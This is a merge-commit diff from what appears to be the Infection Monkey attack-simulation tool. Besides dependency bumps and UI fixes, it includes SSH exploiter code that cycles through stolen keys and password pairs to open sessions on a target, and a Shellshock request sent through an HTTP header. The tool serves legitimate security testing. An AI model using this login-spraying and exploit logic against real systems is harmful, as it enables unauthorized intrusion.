Merge branch '393/python-3' into 393/python-3-fix-linter-warnings

This commit is contained in:
Shay Nehmad 2019-11-04 11:45:33 +02:00 committed by GitHub
commit a125df6345
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
10 changed files with 131 additions and 108 deletions

View File

@ -1,4 +1,5 @@
import requests import requests
import functools
# SHA3-512 of '1234567890!@#$%^&*()_nothing_up_my_sleeve_1234567890!@#$%^&*()' # SHA3-512 of '1234567890!@#$%^&*()_nothing_up_my_sleeve_1234567890!@#$%^&*()'
import logging import logging
@ -8,6 +9,7 @@ NO_AUTH_CREDS = '55e97c9dcfd22b8079189ddaeea9bce8125887e3237b800c6176c9afa80d206
LOGGER = logging.getLogger(__name__) LOGGER = logging.getLogger(__name__)
# noinspection PyArgumentList
class MonkeyIslandRequests(object): class MonkeyIslandRequests(object):
def __init__(self, server_address): def __init__(self, server_address):
self.addr = "https://{IP}/".format(IP=server_address) self.addr = "https://{IP}/".format(IP=server_address)
@ -21,29 +23,43 @@ class MonkeyIslandRequests(object):
"Unable to connect to island, aborting! Error information: {}. Server: {}".format(err, self.addr)) "Unable to connect to island, aborting! Error information: {}. Server: {}".format(err, self.addr))
assert False assert False
class _Decorators:
@classmethod
def refresh_jwt_token(cls, request_function):
@functools.wraps(request_function)
def request_function_wrapper(self, *args,**kwargs):
self.token = self.try_get_jwt_from_server()
# noinspection PyArgumentList
return request_function(self, *args, **kwargs)
return request_function_wrapper
def get_jwt_from_server(self): def get_jwt_from_server(self):
resp = requests.post(self.addr + "api/auth", resp = requests.post(self.addr + "api/auth",
json={"username": NO_AUTH_CREDS, "password": NO_AUTH_CREDS}, json={"username": NO_AUTH_CREDS, "password": NO_AUTH_CREDS},
verify=False) verify=False)
return resp.json()["access_token"] return resp.json()["access_token"]
@_Decorators.refresh_jwt_token
def get(self, url, data=None): def get(self, url, data=None):
return requests.get(self.addr + url, return requests.get(self.addr + url,
headers=self.get_jwt_header(), headers=self.get_jwt_header(),
params=data, params=data,
verify=False) verify=False)
@_Decorators.refresh_jwt_token
def post(self, url, data): def post(self, url, data):
return requests.post(self.addr + url, return requests.post(self.addr + url,
data=data, data=data,
headers=self.get_jwt_header(), headers=self.get_jwt_header(),
verify=False) verify=False)
@_Decorators.refresh_jwt_token
def post_json(self, url, dict_data): def post_json(self, url, dict_data):
return requests.post(self.addr + url, return requests.post(self.addr + url,
json=dict_data, json=dict_data,
headers=self.get_jwt_header(), headers=self.get_jwt_header(),
verify=False) verify=False)
@_Decorators.refresh_jwt_token
def get_jwt_header(self): def get_jwt_header(self):
return {"Authorization": "JWT " + self.token} return {"Authorization": "JWT " + self.token}

View File

@ -13,7 +13,7 @@ from envs.monkey_zoo.blackbox.log_handlers.test_logs_handler import TestLogsHand
DEFAULT_TIMEOUT_SECONDS = 5*60 DEFAULT_TIMEOUT_SECONDS = 5*60
MACHINE_BOOTUP_WAIT_SECONDS = 30 MACHINE_BOOTUP_WAIT_SECONDS = 30
GCP_TEST_MACHINE_LIST = ['sshkeys-11', 'sshkeys-12', 'elastic-4', 'elastic-5', 'haddop-2', 'hadoop-3', 'mssql-16', GCP_TEST_MACHINE_LIST = ['sshkeys-11', 'sshkeys-12', 'elastic-4', 'elastic-5', 'hadoop-2', 'hadoop-3', 'mssql-16',
'mimikatz-14', 'mimikatz-15', 'struts2-23', 'struts2-24', 'tunneling-9', 'tunneling-10', 'mimikatz-14', 'mimikatz-15', 'struts2-23', 'struts2-24', 'tunneling-9', 'tunneling-10',
'tunneling-11', 'weblogic-18', 'weblogic-19', 'shellshock-8'] 'tunneling-11', 'weblogic-18', 'weblogic-19', 'shellshock-8']
LOG_DIR_PATH = "./logs" LOG_DIR_PATH = "./logs"

View File

@ -207,7 +207,7 @@ class ShellShockExploiter(HostExploiter):
LOG.debug("Header is: %s" % header) LOG.debug("Header is: %s" % header)
LOG.debug("Attack is: %s" % attack) LOG.debug("Attack is: %s" % attack)
r = requests.get(url, headers={header: attack}, verify=False, timeout=TIMEOUT) r = requests.get(url, headers={header: attack}, verify=False, timeout=TIMEOUT)
result = r.content result = r.content.decode()
return result return result
except requests.exceptions.RequestException as exc: except requests.exceptions.RequestException as exc:
LOG.debug("Failed to run, exception %s" % exc) LOG.debug("Failed to run, exception %s" % exc)

View File

@ -5,11 +5,11 @@ import time
import paramiko import paramiko
import infection_monkey.monkeyfs as monkeyfs import infection_monkey.monkeyfs as monkeyfs
from common.utils.exploit_enum import ExploitType
from infection_monkey.exploit import HostExploiter from infection_monkey.exploit import HostExploiter
from infection_monkey.exploit.tools.helpers import get_target_monkey, get_monkey_depth, build_monkey_commandline from infection_monkey.exploit.tools.helpers import get_target_monkey, get_monkey_depth, build_monkey_commandline
from infection_monkey.exploit.tools.helpers import get_interface_to_target from infection_monkey.exploit.tools.helpers import get_interface_to_target
from infection_monkey.model import MONKEY_ARG from infection_monkey.model import MONKEY_ARG
from infection_monkey.exploit.tools.exceptions import FailedExploitationError
from infection_monkey.network.tools import check_tcp_port from infection_monkey.network.tools import check_tcp_port
from common.utils.exploit_enum import ExploitType from common.utils.exploit_enum import ExploitType
from common.utils.attack_utils import ScanStatus from common.utils.attack_utils import ScanStatus
@ -38,15 +38,16 @@ class SSHExploiter(HostExploiter):
LOG.debug("SFTP transferred: %d bytes, total: %d bytes", transferred, total) LOG.debug("SFTP transferred: %d bytes, total: %d bytes", transferred, total)
self._update_timestamp = time.time() self._update_timestamp = time.time()
def exploit_with_ssh_keys(self, port, ssh): def exploit_with_ssh_keys(self, port) -> paramiko.SSHClient:
user_ssh_key_pairs = self._config.get_exploit_user_ssh_key_pairs() user_ssh_key_pairs = self._config.get_exploit_user_ssh_key_pairs()
exploited = False
for user, ssh_key_pair in user_ssh_key_pairs: for user, ssh_key_pair in user_ssh_key_pairs:
# Creating file-like private key for paramiko # Creating file-like private key for paramiko
pkey = io.StringIO(ssh_key_pair['private_key']) pkey = io.StringIO(ssh_key_pair['private_key'])
ssh_string = "%s@%s" % (ssh_key_pair['user'], ssh_key_pair['ip']) ssh_string = "%s@%s" % (ssh_key_pair['user'], ssh_key_pair['ip'])
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.WarningPolicy())
try: try:
pkey = paramiko.RSAKey.from_private_key(pkey) pkey = paramiko.RSAKey.from_private_key(pkey)
except(IOError, paramiko.SSHException, paramiko.PasswordRequiredException): except(IOError, paramiko.SSHException, paramiko.PasswordRequiredException):
@ -55,52 +56,49 @@ class SSHExploiter(HostExploiter):
ssh.connect(self.host.ip_addr, ssh.connect(self.host.ip_addr,
username=user, username=user,
pkey=pkey, pkey=pkey,
port=port, port=port)
timeout=None)
LOG.debug("Successfully logged in %s using %s users private key", LOG.debug("Successfully logged in %s using %s users private key",
self.host, ssh_string) self.host, ssh_string)
exploited = True
self.report_login_attempt(True, user, ssh_key=ssh_string) self.report_login_attempt(True, user, ssh_key=ssh_string)
break return ssh
except Exception as exc: except Exception:
ssh.close()
LOG.debug("Error logging into victim %r with %s" LOG.debug("Error logging into victim %r with %s"
" private key", self.host, " private key", self.host,
ssh_string) ssh_string)
self.report_login_attempt(False, user, ssh_key=ssh_string) self.report_login_attempt(False, user, ssh_key=ssh_string)
continue continue
return exploited raise FailedExploitationError
def exploit_with_login_creds(self, port, ssh): def exploit_with_login_creds(self, port) -> paramiko.SSHClient:
user_password_pairs = self._config.get_exploit_user_password_pairs() user_password_pairs = self._config.get_exploit_user_password_pairs()
exploited = False
for user, current_password in user_password_pairs: for user, current_password in user_password_pairs:
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.WarningPolicy())
try: try:
ssh.connect(self.host.ip_addr, ssh.connect(self.host.ip_addr,
username=user, username=user,
password=current_password, password=current_password,
port=port, port=port)
timeout=None)
LOG.debug("Successfully logged in %r using SSH. User: %s, pass (SHA-512): %s)", LOG.debug("Successfully logged in %r using SSH. User: %s, pass (SHA-512): %s)",
self.host, user, self._config.hash_sensitive_data(current_password)) self.host, user, self._config.hash_sensitive_data(current_password))
exploited = True
self.add_vuln_port(port) self.add_vuln_port(port)
self.report_login_attempt(True, user, current_password) self.report_login_attempt(True, user, current_password)
break return ssh
except Exception as exc: except Exception as exc:
LOG.debug("Error logging into victim %r with user" LOG.debug("Error logging into victim %r with user"
" %s and password (SHA-512) '%s': (%s)", self.host, " %s and password (SHA-512) '%s': (%s)", self.host,
user, self._config.hash_sensitive_data(current_password), exc) user, self._config.hash_sensitive_data(current_password), exc)
self.report_login_attempt(False, user, current_password) self.report_login_attempt(False, user, current_password)
ssh.close()
continue continue
return exploited raise FailedExploitationError
def _exploit_host(self): def _exploit_host(self):
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.WarningPolicy())
port = SSH_PORT port = SSH_PORT
# if ssh banner found on different port, use that port. # if ssh banner found on different port, use that port.
@ -113,14 +111,14 @@ class SSHExploiter(HostExploiter):
LOG.info("SSH port is closed on %r, skipping", self.host) LOG.info("SSH port is closed on %r, skipping", self.host)
return False return False
# Check for possible ssh exploits try:
exploited = self.exploit_with_ssh_keys(port, ssh) ssh = self.exploit_with_ssh_keys(port)
if not exploited: except FailedExploitationError:
exploited = self.exploit_with_login_creds(port, ssh) try:
ssh = self.exploit_with_login_creds(port)
if not exploited: except FailedExploitationError:
LOG.debug("Exploiter SSHExploiter is giving up...") LOG.debug("Exploiter SSHExploiter is giving up...")
return False return False
if not self.host.os.get('type'): if not self.host.os.get('type'):
try: try:

View File

@ -1,3 +1,6 @@
class ExploitingVulnerableMachineError(Exception): class ExploitingVulnerableMachineError(Exception):
""" Raise when exploiter failed, but machine is vulnerable""" """ Raise when exploiter failed, but machine is vulnerable"""
pass
class FailedExploitationError(Exception):
""" Raise when exploiter fails instead of returning False"""

View File

@ -14,4 +14,4 @@ class LogTest(flask_restful.Resource):
if not log: if not log:
return {'results': None} return {'results': None}
log_file = database.gridfs.get(log['file_id']) log_file = database.gridfs.get(log['file_id'])
return {'results': log_file.read()} return {'results': log_file.read().decode()}

View File

@ -737,9 +737,9 @@
"integrity": "sha1-u5NdSFgsuhaMBoNJV6VKPgcSTxE=" "integrity": "sha1-u5NdSFgsuhaMBoNJV6VKPgcSTxE="
}, },
"process-nextick-args": { "process-nextick-args": {
"version": "2.0.0", "version": "2.0.1",
"resolved": "https://registry.npmjs.org/process-nextick-args/-/process-nextick-args-2.0.0.tgz", "resolved": "https://registry.npmjs.org/process-nextick-args/-/process-nextick-args-2.0.1.tgz",
"integrity": "sha512-MtEC1TqN0EU5nephaJ4rAtThHtC86dNN9qCuEhtshvpVBkAW5ZO7BASN9REnF9eoXGcRub+pFuKEpOHE+HbEMw==" "integrity": "sha512-3ouUOpQhtgrbOa17J7+uxOTpITYWaGP7/AhoR3+A+/1e9skrzelGi/dXzEYyvbxubEF6Wn2ypscTKiKJFFn1ag=="
}, },
"readable-stream": { "readable-stream": {
"version": "2.3.6", "version": "2.3.6",
@ -749,7 +749,7 @@
"core-util-is": "1.0.2", "core-util-is": "1.0.2",
"inherits": "2.0.3", "inherits": "2.0.3",
"isarray": "1.0.0", "isarray": "1.0.0",
"process-nextick-args": "2.0.0", "process-nextick-args": "2.0.1",
"safe-buffer": "5.1.1", "safe-buffer": "5.1.1",
"string_decoder": "1.1.1", "string_decoder": "1.1.1",
"util-deprecate": "1.0.2" "util-deprecate": "1.0.2"
@ -5652,9 +5652,9 @@
"optional": true "optional": true
}, },
"filepond": { "filepond": {
"version": "4.7.1", "version": "4.7.3",
"resolved": "https://registry.npmjs.org/filepond/-/filepond-4.7.1.tgz", "resolved": "https://registry.npmjs.org/filepond/-/filepond-4.7.3.tgz",
"integrity": "sha512-AxZBhsGS9QEJfbLiASUJMuS3hLhq/HbkKaJx1gKYCQ0lbs/OfciKKdeFbtAVKk0o9o6DcITw2C+QqFcTP1QBCg==" "integrity": "sha512-lt7UC2wwuoy1WN0zTeZRZ+jS9tHgICPYJB8l1OtHdCjGwaQzTq+M3PqKQQ7melKkGS1tQ1rUInKkSdSuojphWg=="
}, },
"fill-range": { "fill-range": {
"version": "2.2.3", "version": "2.2.3",
@ -6288,8 +6288,8 @@
"dev": true, "dev": true,
"optional": true, "optional": true,
"requires": { "requires": {
"co": "^4.6.0", "co": "4.6.0",
"json-stable-stringify": "^1.0.1" "json-stable-stringify": "1.0.1"
} }
}, },
"ansi-regex": { "ansi-regex": {
@ -6362,7 +6362,7 @@
"bundled": true, "bundled": true,
"dev": true, "dev": true,
"requires": { "requires": {
"inherits": "~2.0.0" "inherits": "2.0.3"
} }
}, },
"boom": { "boom": {
@ -6485,7 +6485,7 @@
"dev": true, "dev": true,
"optional": true, "optional": true,
"requires": { "requires": {
"jsbn": "~0.1.0" "jsbn": "0.1.1"
} }
}, },
"extend": { "extend": {
@ -6606,8 +6606,8 @@
"dev": true, "dev": true,
"optional": true, "optional": true,
"requires": { "requires": {
"ajv": "^4.9.1", "ajv": "4.11.8",
"har-schema": "^1.0.5" "har-schema": "1.0.5"
} }
}, },
"has-unicode": { "has-unicode": {
@ -6695,14 +6695,13 @@
"dev": true, "dev": true,
"optional": true, "optional": true,
"requires": { "requires": {
"jsbn": "~0.1.0" "jsbn": "0.1.1"
} }
}, },
"jsbn": { "jsbn": {
"version": "0.1.1", "version": "0.1.1",
"bundled": true, "bundled": true,
"dev": true, "dev": true
"optional": true
}, },
"json-schema": { "json-schema": {
"version": "0.2.3", "version": "0.2.3",
@ -6716,7 +6715,7 @@
"dev": true, "dev": true,
"optional": true, "optional": true,
"requires": { "requires": {
"jsonify": "~0.0.0" "jsonify": "0.0.0"
} }
}, },
"json-stringify-safe": { "json-stringify-safe": {
@ -10954,9 +10953,9 @@
}, },
"dependencies": { "dependencies": {
"ajv": { "ajv": {
"version": "6.10.0", "version": "6.10.2",
"resolved": "https://registry.npmjs.org/ajv/-/ajv-6.10.0.tgz", "resolved": "https://registry.npmjs.org/ajv/-/ajv-6.10.2.tgz",
"integrity": "sha512-nffhOpkymDECQyR0mnsUtoCE8RlX38G0rYP+wgLWFyZuUyuuojSSvi/+euOiQBIn63whYwYVIIH1TvE3tu4OEg==", "integrity": "sha512-TXtUUEYHuaTEbLZWIKUr5pmBuhDLy+8KYtPYdcV8qC+pOZL+NKqYwvWSRrVXHn+ZmRRAu8vJTAznH7Oag6RVRw==",
"requires": { "requires": {
"fast-deep-equal": "2.0.1", "fast-deep-equal": "2.0.1",
"fast-json-stable-stringify": "2.0.0", "fast-json-stable-stringify": "2.0.0",
@ -10984,7 +10983,7 @@
"resolved": "https://registry.npmjs.org/har-validator/-/har-validator-5.1.3.tgz", "resolved": "https://registry.npmjs.org/har-validator/-/har-validator-5.1.3.tgz",
"integrity": "sha512-sNvOCzEQNr/qrvJgc3UG/kD4QtlHycrzwS+6mfTrrSq97BvaYcPZZI1ZSqGSPR73Cxn4LKTD4PttRwfU7jWq5g==", "integrity": "sha512-sNvOCzEQNr/qrvJgc3UG/kD4QtlHycrzwS+6mfTrrSq97BvaYcPZZI1ZSqGSPR73Cxn4LKTD4PttRwfU7jWq5g==",
"requires": { "requires": {
"ajv": "6.10.0", "ajv": "6.10.2",
"har-schema": "2.0.0" "har-schema": "2.0.0"
} }
}, },
@ -11012,9 +11011,9 @@
"integrity": "sha512-fexhUFFPTGV8ybAtSIGbV6gOkSv8UtRbDBnAyLQw4QPKkgNlsH2ByPGtMUqdWkos6YCRmAqViwgZrJc/mRDzZQ==" "integrity": "sha512-fexhUFFPTGV8ybAtSIGbV6gOkSv8UtRbDBnAyLQw4QPKkgNlsH2ByPGtMUqdWkos6YCRmAqViwgZrJc/mRDzZQ=="
}, },
"psl": { "psl": {
"version": "1.1.32", "version": "1.4.0",
"resolved": "https://registry.npmjs.org/psl/-/psl-1.1.32.tgz", "resolved": "https://registry.npmjs.org/psl/-/psl-1.4.0.tgz",
"integrity": "sha512-MHACAkHpihU/REGGPLj4sEfc/XKW2bheigvHO1dUqjaKigMp1C8+WLQYRGgeKFMsw5PMfegZcaN8IDXK/cD0+g==" "integrity": "sha512-HZzqCGPecFLyoRj5HLfuDSKYTJkAfB5thKBIkRHtGjWwY7p1dAyveIbXIq4tO0KYfDF2tHqPUgY9SDnGm00uFw=="
}, },
"request": { "request": {
"version": "2.88.0", "version": "2.88.0",
@ -11037,16 +11036,16 @@
"oauth-sign": "0.9.0", "oauth-sign": "0.9.0",
"performance-now": "2.1.0", "performance-now": "2.1.0",
"qs": "6.5.2", "qs": "6.5.2",
"safe-buffer": "5.1.2", "safe-buffer": "5.2.0",
"tough-cookie": "2.4.3", "tough-cookie": "2.4.3",
"tunnel-agent": "0.6.0", "tunnel-agent": "0.6.0",
"uuid": "3.3.2" "uuid": "3.3.3"
} }
}, },
"safe-buffer": { "safe-buffer": {
"version": "5.1.2", "version": "5.2.0",
"resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.1.2.tgz", "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.2.0.tgz",
"integrity": "sha512-Gd2UZBJDkXlY7GbJxfsE8/nvKkUEU1G38c1siN6QP6a9PT9MmHB8GnpscSmMJSoF8LOIrt8ud/wPtojys4G6+g==" "integrity": "sha512-fZEwUGbVl7kouZs1jCdMLdt95hdIv0ZeHg6L7qPeciMZhZ+/gdesW4wgTARkrFWEpspjEATAzUGPG8N2jJiwbg=="
}, },
"semver": { "semver": {
"version": "5.3.0", "version": "5.3.0",
@ -11058,14 +11057,14 @@
"resolved": "https://registry.npmjs.org/tough-cookie/-/tough-cookie-2.4.3.tgz", "resolved": "https://registry.npmjs.org/tough-cookie/-/tough-cookie-2.4.3.tgz",
"integrity": "sha512-Q5srk/4vDM54WJsJio3XNn6K2sCG+CQ8G5Wz6bZhRZoAe/+TxjWB/GlFAnYEbkYVlON9FMk/fE3h2RLpPXo4lQ==", "integrity": "sha512-Q5srk/4vDM54WJsJio3XNn6K2sCG+CQ8G5Wz6bZhRZoAe/+TxjWB/GlFAnYEbkYVlON9FMk/fE3h2RLpPXo4lQ==",
"requires": { "requires": {
"psl": "1.1.32", "psl": "1.4.0",
"punycode": "1.4.1" "punycode": "1.4.1"
} }
}, },
"uuid": { "uuid": {
"version": "3.3.2", "version": "3.3.3",
"resolved": "https://registry.npmjs.org/uuid/-/uuid-3.3.2.tgz", "resolved": "https://registry.npmjs.org/uuid/-/uuid-3.3.3.tgz",
"integrity": "sha512-yXJmeNaw3DnnKAOKJE51sL/ZaYfWJRl1pK9dr19YFCu0ObS231AB1/LbqTKRAQ5kw8A90rA6fr4riOUpTZvQZA==" "integrity": "sha512-pW0No1RGHgzlpHJO1nsVrHKpOEIxkGg1xB+v0ZmdNH5OAeAwzAVrCnI2/6Mtx+Uys6iaylxa+D3g4j63IKKjSQ=="
} }
} }
}, },
@ -11169,9 +11168,9 @@
} }
}, },
"node-sass": { "node-sass": {
"version": "4.12.0", "version": "4.13.0",
"resolved": "https://registry.npmjs.org/node-sass/-/node-sass-4.12.0.tgz", "resolved": "https://registry.npmjs.org/node-sass/-/node-sass-4.13.0.tgz",
"integrity": "sha512-A1Iv4oN+Iel6EPv77/HddXErL2a+gZ4uBeZUy+a8O35CFYTXhgA8MgLCWBtwpGZdCvTvQ9d+bQxX/QC36GDPpQ==", "integrity": "sha512-W1XBrvoJ1dy7VsvTAS5q1V45lREbTlZQqFbiHb3R3OTTCma0XBtuG6xZ6Z4506nR4lmHPTqVRwxT6KgtWC97CA==",
"requires": { "requires": {
"async-foreach": "0.1.3", "async-foreach": "0.1.3",
"chalk": "1.1.3", "chalk": "1.1.3",
@ -11180,7 +11179,7 @@
"get-stdin": "4.0.1", "get-stdin": "4.0.1",
"glob": "7.1.4", "glob": "7.1.4",
"in-publish": "2.0.0", "in-publish": "2.0.0",
"lodash": "4.17.11", "lodash": "4.17.15",
"meow": "3.7.0", "meow": "3.7.0",
"mkdirp": "0.5.1", "mkdirp": "0.5.1",
"nan": "2.14.0", "nan": "2.14.0",
@ -11193,9 +11192,9 @@
}, },
"dependencies": { "dependencies": {
"ajv": { "ajv": {
"version": "6.10.0", "version": "6.10.2",
"resolved": "https://registry.npmjs.org/ajv/-/ajv-6.10.0.tgz", "resolved": "https://registry.npmjs.org/ajv/-/ajv-6.10.2.tgz",
"integrity": "sha512-nffhOpkymDECQyR0mnsUtoCE8RlX38G0rYP+wgLWFyZuUyuuojSSvi/+euOiQBIn63whYwYVIIH1TvE3tu4OEg==", "integrity": "sha512-TXtUUEYHuaTEbLZWIKUr5pmBuhDLy+8KYtPYdcV8qC+pOZL+NKqYwvWSRrVXHn+ZmRRAu8vJTAznH7Oag6RVRw==",
"requires": { "requires": {
"fast-deep-equal": "2.0.1", "fast-deep-equal": "2.0.1",
"fast-json-stable-stringify": "2.0.0", "fast-json-stable-stringify": "2.0.0",
@ -11232,7 +11231,7 @@
"resolved": "https://registry.npmjs.org/har-validator/-/har-validator-5.1.3.tgz", "resolved": "https://registry.npmjs.org/har-validator/-/har-validator-5.1.3.tgz",
"integrity": "sha512-sNvOCzEQNr/qrvJgc3UG/kD4QtlHycrzwS+6mfTrrSq97BvaYcPZZI1ZSqGSPR73Cxn4LKTD4PttRwfU7jWq5g==", "integrity": "sha512-sNvOCzEQNr/qrvJgc3UG/kD4QtlHycrzwS+6mfTrrSq97BvaYcPZZI1ZSqGSPR73Cxn4LKTD4PttRwfU7jWq5g==",
"requires": { "requires": {
"ajv": "6.10.0", "ajv": "6.10.2",
"har-schema": "2.0.0" "har-schema": "2.0.0"
} }
}, },
@ -11242,9 +11241,9 @@
"integrity": "sha512-xbbCH5dCYU5T8LcEhhuh7HJ88HXuW3qsI3Y0zOZFKfZEHcpWiHU/Jxzk629Brsab/mMiHQti9wMP+845RPe3Vg==" "integrity": "sha512-xbbCH5dCYU5T8LcEhhuh7HJ88HXuW3qsI3Y0zOZFKfZEHcpWiHU/Jxzk629Brsab/mMiHQti9wMP+845RPe3Vg=="
}, },
"lodash": { "lodash": {
"version": "4.17.11", "version": "4.17.15",
"resolved": "https://registry.npmjs.org/lodash/-/lodash-4.17.11.tgz", "resolved": "https://registry.npmjs.org/lodash/-/lodash-4.17.15.tgz",
"integrity": "sha512-cQKh8igo5QUhZ7lg38DYWAxMvjSAKG0A8wGSVimP07SIUEK2UO+arSRKbRZWtelMtN5V0Hkwh5ryOto/SshYIg==" "integrity": "sha512-8xOcRHvCjnocdS5cpwXQXVzmmh5e5+saE2QGoeQmbKmRS6J3VQppPOIt0MnmE+4xlZoumy0GPG0D0MVIQbNA1A=="
}, },
"mime-db": { "mime-db": {
"version": "1.40.0", "version": "1.40.0",
@ -11270,9 +11269,9 @@
"integrity": "sha512-fexhUFFPTGV8ybAtSIGbV6gOkSv8UtRbDBnAyLQw4QPKkgNlsH2ByPGtMUqdWkos6YCRmAqViwgZrJc/mRDzZQ==" "integrity": "sha512-fexhUFFPTGV8ybAtSIGbV6gOkSv8UtRbDBnAyLQw4QPKkgNlsH2ByPGtMUqdWkos6YCRmAqViwgZrJc/mRDzZQ=="
}, },
"psl": { "psl": {
"version": "1.1.32", "version": "1.4.0",
"resolved": "https://registry.npmjs.org/psl/-/psl-1.1.32.tgz", "resolved": "https://registry.npmjs.org/psl/-/psl-1.4.0.tgz",
"integrity": "sha512-MHACAkHpihU/REGGPLj4sEfc/XKW2bheigvHO1dUqjaKigMp1C8+WLQYRGgeKFMsw5PMfegZcaN8IDXK/cD0+g==" "integrity": "sha512-HZzqCGPecFLyoRj5HLfuDSKYTJkAfB5thKBIkRHtGjWwY7p1dAyveIbXIq4tO0KYfDF2tHqPUgY9SDnGm00uFw=="
}, },
"request": { "request": {
"version": "2.88.0", "version": "2.88.0",
@ -11295,30 +11294,30 @@
"oauth-sign": "0.9.0", "oauth-sign": "0.9.0",
"performance-now": "2.1.0", "performance-now": "2.1.0",
"qs": "6.5.2", "qs": "6.5.2",
"safe-buffer": "5.1.2", "safe-buffer": "5.2.0",
"tough-cookie": "2.4.3", "tough-cookie": "2.4.3",
"tunnel-agent": "0.6.0", "tunnel-agent": "0.6.0",
"uuid": "3.3.2" "uuid": "3.3.3"
} }
}, },
"safe-buffer": { "safe-buffer": {
"version": "5.1.2", "version": "5.2.0",
"resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.1.2.tgz", "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.2.0.tgz",
"integrity": "sha512-Gd2UZBJDkXlY7GbJxfsE8/nvKkUEU1G38c1siN6QP6a9PT9MmHB8GnpscSmMJSoF8LOIrt8ud/wPtojys4G6+g==" "integrity": "sha512-fZEwUGbVl7kouZs1jCdMLdt95hdIv0ZeHg6L7qPeciMZhZ+/gdesW4wgTARkrFWEpspjEATAzUGPG8N2jJiwbg=="
}, },
"tough-cookie": { "tough-cookie": {
"version": "2.4.3", "version": "2.4.3",
"resolved": "https://registry.npmjs.org/tough-cookie/-/tough-cookie-2.4.3.tgz", "resolved": "https://registry.npmjs.org/tough-cookie/-/tough-cookie-2.4.3.tgz",
"integrity": "sha512-Q5srk/4vDM54WJsJio3XNn6K2sCG+CQ8G5Wz6bZhRZoAe/+TxjWB/GlFAnYEbkYVlON9FMk/fE3h2RLpPXo4lQ==", "integrity": "sha512-Q5srk/4vDM54WJsJio3XNn6K2sCG+CQ8G5Wz6bZhRZoAe/+TxjWB/GlFAnYEbkYVlON9FMk/fE3h2RLpPXo4lQ==",
"requires": { "requires": {
"psl": "1.1.32", "psl": "1.4.0",
"punycode": "1.4.1" "punycode": "1.4.1"
} }
}, },
"uuid": { "uuid": {
"version": "3.3.2", "version": "3.3.3",
"resolved": "https://registry.npmjs.org/uuid/-/uuid-3.3.2.tgz", "resolved": "https://registry.npmjs.org/uuid/-/uuid-3.3.3.tgz",
"integrity": "sha512-yXJmeNaw3DnnKAOKJE51sL/ZaYfWJRl1pK9dr19YFCu0ObS231AB1/LbqTKRAQ5kw8A90rA6fr4riOUpTZvQZA==" "integrity": "sha512-pW0No1RGHgzlpHJO1nsVrHKpOEIxkGg1xB+v0ZmdNH5OAeAwzAVrCnI2/6Mtx+Uys6iaylxa+D3g4j63IKKjSQ=="
} }
} }
}, },
@ -17544,9 +17543,9 @@
"integrity": "sha1-u5NdSFgsuhaMBoNJV6VKPgcSTxE=" "integrity": "sha1-u5NdSFgsuhaMBoNJV6VKPgcSTxE="
}, },
"process-nextick-args": { "process-nextick-args": {
"version": "2.0.0", "version": "2.0.1",
"resolved": "https://registry.npmjs.org/process-nextick-args/-/process-nextick-args-2.0.0.tgz", "resolved": "https://registry.npmjs.org/process-nextick-args/-/process-nextick-args-2.0.1.tgz",
"integrity": "sha512-MtEC1TqN0EU5nephaJ4rAtThHtC86dNN9qCuEhtshvpVBkAW5ZO7BASN9REnF9eoXGcRub+pFuKEpOHE+HbEMw==" "integrity": "sha512-3ouUOpQhtgrbOa17J7+uxOTpITYWaGP7/AhoR3+A+/1e9skrzelGi/dXzEYyvbxubEF6Wn2ypscTKiKJFFn1ag=="
}, },
"readable-stream": { "readable-stream": {
"version": "2.3.6", "version": "2.3.6",
@ -17556,7 +17555,7 @@
"core-util-is": "1.0.2", "core-util-is": "1.0.2",
"inherits": "2.0.3", "inherits": "2.0.3",
"isarray": "1.0.0", "isarray": "1.0.0",
"process-nextick-args": "2.0.0", "process-nextick-args": "2.0.1",
"safe-buffer": "5.1.1", "safe-buffer": "5.1.1",
"string_decoder": "1.1.1", "string_decoder": "1.1.1",
"util-deprecate": "1.0.2" "util-deprecate": "1.0.2"

View File

@ -74,12 +74,12 @@
"downloadjs": "^1.4.7", "downloadjs": "^1.4.7",
"fetch": "^1.1.0", "fetch": "^1.1.0",
"file-saver": "^2.0.2", "file-saver": "^2.0.2",
"filepond": "^4.7.1", "filepond": "^4.7.3",
"js-file-download": "^0.4.8", "js-file-download": "^0.4.8",
"json-loader": "^0.5.7", "json-loader": "^0.5.7",
"jwt-decode": "^2.2.0", "jwt-decode": "^2.2.0",
"moment": "^2.24.0", "moment": "^2.24.0",
"node-sass": "^4.11.0", "node-sass": "^4.13.0",
"normalize.css": "^8.0.0", "normalize.css": "^8.0.0",
"npm": "^6.11.3", "npm": "^6.11.3",
"pluralize": "^7.0.0", "pluralize": "^7.0.0",

View File

@ -43,11 +43,13 @@ class MapPageComponent extends AuthComponent {
this.authFetch('/api/netmap') this.authFetch('/api/netmap')
.then(res => res.json()) .then(res => res.json())
.then(res => { .then(res => {
res.edges.forEach(edge => { if (res.hasOwnProperty("edges")) {
edge.color = {'color': edgeGroupToColor(edge.group)}; res.edges.forEach(edge => {
}); edge.color = {'color': edgeGroupToColor(edge.group)};
this.setState({graph: res}); });
this.props.onStatusChange(); this.setState({graph: res});
this.props.onStatusChange();
}
}); });
}; };
@ -55,14 +57,16 @@ class MapPageComponent extends AuthComponent {
this.authFetch('/api/telemetry-feed?timestamp=' + this.state.telemetryLastTimestamp) this.authFetch('/api/telemetry-feed?timestamp=' + this.state.telemetryLastTimestamp)
.then(res => res.json()) .then(res => res.json())
.then(res => { .then(res => {
let newTelem = this.state.telemetry.concat(res['telemetries']); if ('telemetries' in res) {
let newTelem = this.state.telemetry.concat(res['telemetries']);
this.setState( this.setState(
{ {
telemetry: newTelem, telemetry: newTelem,
telemetryLastTimestamp: res['timestamp'] telemetryLastTimestamp: res['timestamp']
}); });
this.props.onStatusChange(); this.props.onStatusChange();
}
}); });
}; };

View File

@ -7,6 +7,8 @@ export default class AuthService {
"55e97c9dcfd22b8079189ddaeea9bce8125887e3237b800c6176c9afa80d2062" + "55e97c9dcfd22b8079189ddaeea9bce8125887e3237b800c6176c9afa80d2062" +
